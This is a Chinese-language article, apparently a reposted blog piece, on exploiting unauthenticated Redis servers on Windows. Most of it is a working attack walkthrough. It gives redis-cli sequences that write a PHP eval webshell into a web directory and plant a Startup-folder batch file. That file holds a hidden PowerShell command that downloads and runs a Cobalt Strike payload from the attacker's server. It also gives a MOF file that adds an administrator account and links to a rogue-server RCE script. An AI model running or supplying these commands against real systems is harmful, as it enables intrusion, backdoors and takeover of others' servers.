溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

發(fā)布時間:2022-01-05 17:38:09 來源:億速云 閱讀:505 作者:小新 欄目:網(wǎng)絡(luò)管理

小編給大家分享一下windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么,相信大部分人都還不怎么了解,因此分享這篇文章給大家參考一下,希望大家閱讀完這篇文章后大有收獲,下面讓我們一起去了解一下吧!

Redis未授權(quán)產(chǎn)生原因

1.redis綁定在0.0.0.0:6379默認(rèn)端口,直接暴露在公網(wǎng),無防火墻進(jìn)行來源信任防護(hù)。

2.沒有設(shè)置密碼認(rèn)證,可以免密遠(yuǎn)程登錄redis服務(wù)

漏洞危害

1.信息泄露,攻擊者可以惡意執(zhí)行flushall清空數(shù)據(jù)

2.可以通過eval執(zhí)行l(wèi)ua代碼,或通過數(shù)據(jù)備份功能往磁盤寫入后門文件

3.若以root身份運(yùn)行,攻擊者可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務(wù)器。

利用方式01-寫入webshell

1.獲取web絕對路徑,直接寫入webshell

redis-cli.exe -h redis-server] -p 6379

redis redis-server> CONFIG SET dir c:/phpstudy/www

OK

redis redis-server> CONFIG SET dbfilename shell.php

OK

redis redis-server> set x  “<?php @eval($_POST['a']) ?>”

OK

redis redis-server> save

OK

直接訪問shell.php即可

利用方式02-啟動項寫入

windows下的開機(jī)啟動項的目錄為

C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/

寫入方式有很多,這里我們使用Cobalt Strike來進(jìn)行演示

先啟動CS服務(wù)端 ,命令如下:

root@kali:~/cobaltstrike4.1# ./teamserver csip 123456

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

在啟動客戶端,輸入密碼和地址

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

添加一個Listener 監(jiān)聽器

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

選擇Attacks – Web Drive-By – Script Web Delivery,選擇剛才添加的Listener

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

點(diǎn)擊Launch之后生成如下代碼

powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://cs地址:80/a'))\"

直接保存為1.bat即可

其中存在兩個小細(xì)節(jié),一個是由于dbfile本身是有內(nèi)容的,因此命令要正常運(yùn)行必須先換行,經(jīng)過測試需要兩個換行符rn才能正常運(yùn)行,還有一個是由于本身執(zhí)行命令中也有雙引號,因此需要加入轉(zhuǎn)義

redis-cli.exe -h 目標(biāo)ip -p 6379
redis 目標(biāo)ip:6379>config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/startup/"
OK
redis 目標(biāo)ip:6379> CONFIG SET dbfilename 1.bat
OK
redis 目標(biāo)ip:6379>set x "/r/n/r/npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://csip:80/a'))\"/r/n/r/n
注意這里的雙引號要轉(zhuǎn)義,windwos路徑的start menu中間一個空格
OK
redis 192.168.1.101:6379> save
OK

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

查看服務(wù)器啟動項,發(fā)現(xiàn)正常寫入命令

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

重啟目標(biāo)機(jī)器,成功上線

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

利用方式03-寫入mof

如果由于不能重啟機(jī)器也無法獲取web目錄,想到Mof提權(quán),環(huán)境限制只能為win2003。

簡單描述一下mof提權(quán)的原理:

mof是windows系統(tǒng)的一個文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管對象格式”其作用是每隔五秒就會去監(jiān)控進(jìn)程創(chuàng)建和死亡。其實就是有了mysql的root權(quán)限了以后,然后使用root權(quán)限去執(zhí)行我們上傳的mof。隔了一定時間以后這個mof就會被執(zhí)行,這個mof當(dāng)中有一段是vbs腳本,這個vbs大多數(shù)的是cmd的添加管理員用戶的命令。

也就是說在`c:/windows/system32/wbem/mof/`目錄下的mof文件會每5秒自動執(zhí)行一次,這樣就不需要重啟機(jī)器就能獲取權(quán)限了。

首先將如下代碼保存為admin.txt文件:

#pragma namespace("\\.\root\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\Cimv2"; Name  = "filtP2"; Query = "Select * From __InstanceModificationEvent " "Where TargetInstance Isa "Win32_LocalTime" " "And TargetInstance.Second = 5"; QueryLanguage = "WQL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPCSV2"; ScriptingEngine = "JScript"; ScriptText = "var WSH = new ActiveXObject("WScript.Shell")nWSH.run("net.exe user admin admin /add")"; }; instance of __FilterToConsumerBinding { Consumer   = $Consumer; Filter = $EventFilter; };

此處要執(zhí)行的命令為添加名為admin的用戶

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

然后執(zhí)行

(echo -e "nn"; cat admin.txt; echo -e "nn") > foo.txt

切換到redis目錄,運(yùn)行如下命令

windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么

過一會就看到用戶添加成功了。(本地測試一直未成功,寫入mof文件夾成功,但是執(zhí)行一直到bad文件夾里)

補(bǔ)充一個linux下的利用方式:

在2019年7月7日結(jié)束的WCTF2019 Final上,LC/BC的成員Pavel Toporkov在分享會上介紹了一種關(guān)于redis新版本的RCE利用方式

https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf

利用腳本如下

https://github.com/LoRexxar/redis-rogue-server

實戰(zhàn)在生產(chǎn)環(huán)境下用還是會有很多問題的

  1. redis數(shù)據(jù)量稍微大一點(diǎn),寫shell到文件之后,php因為文件太大是會拒絕執(zhí)行的

  2. Ubuntu,Debian寫計劃任務(wù)反彈無用

  3. 寫/etc/passwd會覆蓋原有/etc/passwd,不可能改了再改回來

  4. 生產(chǎn)環(huán)境下用`KEY *` 這樣的命令直接炸

以上是“windows環(huán)境Redis未授權(quán)產(chǎn)生原因是什么”這篇文章的所有內(nèi)容,感謝各位的閱讀!相信大家都有了一定的了解,希望分享的內(nèi)容對大家有所幫助,如果還想學(xué)習(xí)更多知識,歡迎關(guān)注億速云行業(yè)資訊頻道!

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI